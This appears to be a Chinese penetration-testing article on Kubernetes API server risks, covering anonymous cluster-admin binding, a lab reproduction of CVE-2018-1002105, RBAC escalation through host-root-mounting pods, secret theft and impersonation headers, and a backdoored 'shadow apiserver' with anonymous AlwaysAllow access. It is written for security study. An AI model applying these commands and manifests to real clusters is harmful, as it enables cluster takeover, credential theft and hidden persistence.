K8s 之 ApiServer 组件风险

文章首发于火线Zone社区:https://zone.huoxian.cn/d/1269-k8sapiserver

apiserver简介

API Server 作为 K8s 集群的管理入口,在集群中被用于提供API来控制集群内部。默认情况下使用 8080 (insecure-port,非安全端口)和 6443 (secure-port,安全端口)端口,其中 8080 端口无需认证,6443端口需要认证且有 TLS 保护。

apiserver工作原理图

1655556568-451522-image

而apiserver在渗透测试过程中受到以下风险:

  • apiserver的Insecure-port端口对外暴露
  • apiserver未授权配置错误(匿名访问+绑定高权限角色)
  • 历史apiserver提权漏洞(例如CVE-2018-1002105)
  • 配置不当的RBAC受到的提权风险
  • apiserver权限维持
  • ...

1.apiserver的Insecure-port端口对外暴露

API Server 作为 K8s 集群的管理入口,在集群中被用于提供API来控制集群内部。默认情况下使用 8080 (insecure-port,非安全端口)和 6443 (secure-port,安全端口)端口,其中 8080 端口无需认证,6443端口需要认证且有 TLS 保护。

如果其在生产环境中Insecure-port 被暴露出来,便利用此端口进行对集群的攻击。

但是这种情况很少了,条件必须是低版本(1.20版本后该选项已无效化)加配置中(/etc/kubernets/manifests/kube-apiserver.yaml )写了insecure-port选项,默认不开启:

1655556593-314332-image

2.apiserver未授权配置错误(匿名访问+绑定高权限角色)

Api server的 6443 (secure-port,安全端口)认证是需要凭据的。

1655556607-354822-image

如果配置错误,将system:anonymous用户绑定到了cluster-admin用户组,那么匿名用户可以支配集群。

kubectl create clusterrolebinding cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous
1655556637-32997-image

这种配置下可以拿到所有token后与api server交互,支配集群:


1655556651-174535-image

3.历史apiserver提权漏洞(例如CVE-2018-1002105)

CVE-2018-1002105是一个K8s提权漏洞,Kubernetes用户可以在已建立的API Server连接上,打通了client到kubelet的通道,实现提升k8s普通用户到k8s api server的权限。

漏洞影响版本:

  • Kubernetes v1.0.x-1.9.x
  • Kubernetes v1.10.0-1.10.10 (fixed in v1.10.11)
  • Kubernetes v1.11.0-1.11.4 (fixed in v1.11.5)
  • Kubernetes v1.12.0-1.12.2 (fixed in v1.12.3)

漏洞利用条件:

这边普通用户至少需要具有一个pod的exec/attach/portforward等权限。

环境:

构造一个命名空间test,和一个test命名空间的pod,原有权限是对test命名空间下的pod的exec权限,漏洞利用后将权限提升为了API Server权限,这里用metarget靶场起一个环境:

1655556678-483297-image

创建namespace:

apiVersion: v1
kind: Namespace
metadata:
  name: test

创建role:

apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: test
  namespace: test
rules:
- apiGroups:
  - ""
  resources:
  - pods
  verbs:
  - get
  - list
  - delete
  - watch
- apiGroups:
  - ""
  resources:
  - pods/exec
  verbs:
  - create
  - get

创建role_binding.yml:

apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test
  namespace: test
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: Role
  name: test
subjects:
- apiGroup: rbac.authorization.k8s.io
  kind: Group
  name: test

创建pod:

apiVersion: v1
kind: Pod
metadata:
  name: test
  namespace: test
spec:
  containers:
  - name: ubuntu
    image: ubuntu:latest
    imagePullPolicy: IfNotPresent
    # Just spin & wait forever
    command: [ "/bin/bash", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]
  serviceAccount: default
  serviceAccountName: default

最后给用户配置一个静态的token文件来配置用户的认证:

当在命令行上指定 --token-auth-file=SOMEFILE 选项时,API server 从文件读取 bearer token。

token 文件是一个 csv 文件,每行至少包含三列:token、用户名、用户 uid:

token,user,uid,"group1,group2,group3"

这里使用到的配置token:

password,test,test,test

验证:

对指定test空间下的pod执行命令是可以的:

kubectl --token=password --server=https://192.168.1.22:6443 --insecure-skip-tls-verify exec -it test -n test /bin/hostname
1655556705-929449-image

对其他命名空间越权操作发现提示权限不足:

kubectl --token=password --server=https://192.168.1.22:6443 --insecure-skip-tls-verify get pods -n kube-system
1655556723-500188-image

漏洞复现:

exp:https://github.com/Metarget/cloud-native-security-book/blob/main/code/0403-CVE-2018-1002105/exploit.py

exp中也是会创建一个挂载宿主机根目录的pod,实现容器逃,而创建的基础是利用前面说的高权限websocket连接,利用这个连接向apiserver发送命令,窃取高凭据文件,再利用凭据文件创建pod,挂载宿主机根目录。

挂载了以后读取宿主机节点的/etc/kubernetes/pki目录下的大量敏感凭据:


1655556743-80090-image

exp中指定读取的证书文件:


1655556759-361224-image

利用:


1655556779-612031-image

这样就拿到了凭据,最后就是创建pod挂载宿主机根目录:

# attacker.yaml
apiVersion: v1
kind: Pod
metadata:
  name: attacker
spec:
  containers:
  - name: ubuntu
    image: ubuntu:latest
    imagePullPolicy: IfNotPresent
    # Just spin & wait forever
    command: [ "/bin/bash", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]
    volumeMounts:
    - name: escape-host
      mountPath: /host-escape-door
  volumes:
    - name: escape-host
      hostPath:
        path: /
1655556802-155029-image

host-escape-door 目录为pod挂载宿主机的目录,发现已经可以查看apiserver宿主机的目录:


1655556815-332685-image

4.配置不当的RBAC受到的提权风险

RBAC权限滥用提权

权限滥用主要在对特定资源有特定操作的情况下,可以有特定的权限提升。
<br />

枚举当前RBAC权限

在指定当前通过渗透得到用户凭据或者sa的凭据后,可以先枚举当前有哪些权限:



也可以使用curl对apiserver的api进行访问来区别当前的权限:


枚举之后应该对当前凭据对资源的操作有个数了,下面列举在分配权限时,哪些情况下有提权提升的可能。

create pods权限

resources: ["*"] verbs: ["create"]resources为*或者为pods的情况下,verbs是create,在集群中可以创建任意资源,比如像pods,roles.而创建pods的命名空间也取决你role中metadata.namespace的值:

如果有create权限,常见攻击手法就是创建挂载根目录的pod,跳到node:


list secrets权限

resources: ["*"] verbs: ["list"]resources为*或者为secrets的情况下,verbs是list,在集群中可以列出其他user的secrets,一般拿来寻找特权账号凭据。

具有list权限或者说是list secrets权限的role可以列出集群中重要的secrets,包括管理的keys(JWT):


利用:
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

get secret权限

resources: ["*"] verbs: ["get"]: resources为*或者为secrets的情况下,verbs是get,get可以在集群中获得其他service accounts的secrets。

如下定义Role的resources字段为*或者secrets对象,并且verbs为get,这时候有权限获得其他secrets。



get权限能访问的api:

GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}

但是get和list不一样,get需要知道secrets的id才能读:


图出处:图出处,list和get来窃取凭据的区别:https://published-prd.lanyonevents.com/published/rsaus20/sessionsFiles/18100/2020_USA20_DSO-W01_01_Compromising%20Kubernetes%20Cluster%20by%20Exploiting%20RBAC%20Permissions.pdf

这时候用读secrets来攻击的话常见手法是读默认的sa的token,默认有这些sa:



对应的token:

kubectl -n kube-system get secret -n kube-system


可以看到每个sa的token都是sa的name-token-随机五个字符,

其中随机的字符是由数字和字母组合,特定的27个字符:

https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#183:#


27的5次方也是14,348,907可能,写个py脚本的迭代器爆破即可:

get list watch secrets权限

resources: ["*"] verbs: ["get","list","watch"]:resources字段为*或者secrets的话可以利用这三个权限,来创建一个恶意pod后通过挂载secrets以至获取别人的secrets,然后外带:


这里使用automountServiceAccountToken将特权服务帐户的令牌挂载到 pod,使用令牌获取拿到所有secrets后用nc传到攻击者监听端口,当前也可以使用其他方式带外:


图出处,创建一个"hot pod"来窃取凭据:https://published-prd.lanyonevents.com/published/rsaus20/sessionsFiles/18100/2020_USA20_DSO-W01_01_Compromising%20Kubernetes%20Cluster%20by%20Exploiting%20RBAC%20Permissions.pdf

Impersonate权限

用户可以通过模拟标头充当另一个用户。这些让请求手动覆盖请求身份验证的用户信息。例如,管理员可以使用此功能通过临时模拟另一个用户并查看请求是否被拒绝来调试授权策略。

以下 HTTP 标头可用于执行模拟请求:

  • Impersonate-User:要充当的用户名。
  • Impersonate-Group:要充当的组名。可以多次提供设置多个组。可选的。需要“模拟用户”。
  • Impersonate-Extra-( extra name ):用于将额外字段与用户关联的动态标题。可选的。需要“模拟用户”。
  • Impersonate-Uid:代表被模拟用户的唯一标识符。可选的。需要“模拟用户”。Kubernetes 对此字符串没有任何格式要求。

有了Impersonate权限攻击者可以模拟一个有特权的账户或者组:
Role:

binding:


模拟用户的操作是通过调用K8s API 的Header来指定的,kubectl可以加入--as参数:

kubectl --as <user-to-impersonate> ...
kubectl --as <user-to-impersonate> --as-group <group-to-impersonate> ...

请求apiserver:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\ 
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

5.apiserver权限维持

在渗透权限维持阶段如果像常规对机器比如容器做权限维持的话, 是有弊端的,因为在K8s中会对pod进行扩容和缩容,权限维持的机器就会变得有生命周期而使已获得权限变得不稳定。所以在K8s中利用apiserver做权限维持是个不错的选择,

shadow apiserver

shadow apiserver就是创建一种针对K8s集群的隐蔽持续控制通道, 在原有的apiserver上开放更大的权限并且放弃日志审计,从而达到隐蔽性和持久控制目的。

pdf:

https://published-prd.lanyonevents.com/published/rsaus20/sessionsFiles/18317/2020_USA20_CSV-F01_01_Advanced%20Persistence%20Threats%20The%20Future%20of%20Kubernetes%20Attacks.pdf

原本apiserver信息:

1655556949-56559-image

apiserver pod的详细:

1655556927-866990-image

构造shadow apiserver需要在原有的基础上增加功能,总所周知cdk工具可以一键部署shadow apiserver:

pkg/exploit/k8s_shadow_apiserver.go:

1655556903-19457-image

可以发现cdk在配置文件中添加:

--allow-privileged
--insecure-port=9443
--insecure-bind-address=0.0.0.0
--secure-port=9444
--anonymous-auth=true
--authorization-mode=AlwaysAllow

可以看到通过参数新启动的apiserver允许了容器请求特权模式,暴露了insecure-port为9443,监听地址绑定为0.0.0.0,允许了匿名访问,允许所有请求。

也可以修改cdk中原有配置的参数来定制你的后门apiserver。直接修改argInsertReg.ReplaceAllString函数里的内容即可。

ps :

insecure-port的参数在最新cdk已经被注释了,这个参数在K8s 1.24会直接弃用。

所以这个时候当前可以匿名向apiserver访问请求管理集群,curl/kubectl去请求,

kubectl -s 192.168.1.22:6443 get pods,deployment -o wide

1655556887-262819-image

6.最后

k8s API Server提供了k8s各类资源对象(pod,RC,Service等)的增删改查及watch等HTTP Rest接口,是整个系统的数据总线和数据中心,充当了集群中不可或缺的一个角色,因此apiserver组件的安全以及基线检查工作对于集群来说尤为重要,在集群安全的角度对apiserver组件安全问题和风险也应该保持持续的关注。

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,530评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 86,403评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,120评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,770评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,758评论 5 367
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,649评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,021评论 3 398
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,675评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,931评论 1 299
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,659评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,751评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,410评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,004评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,969评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,203评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,042评论 2 350
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,493评论 2 343

推荐阅读更多精彩内容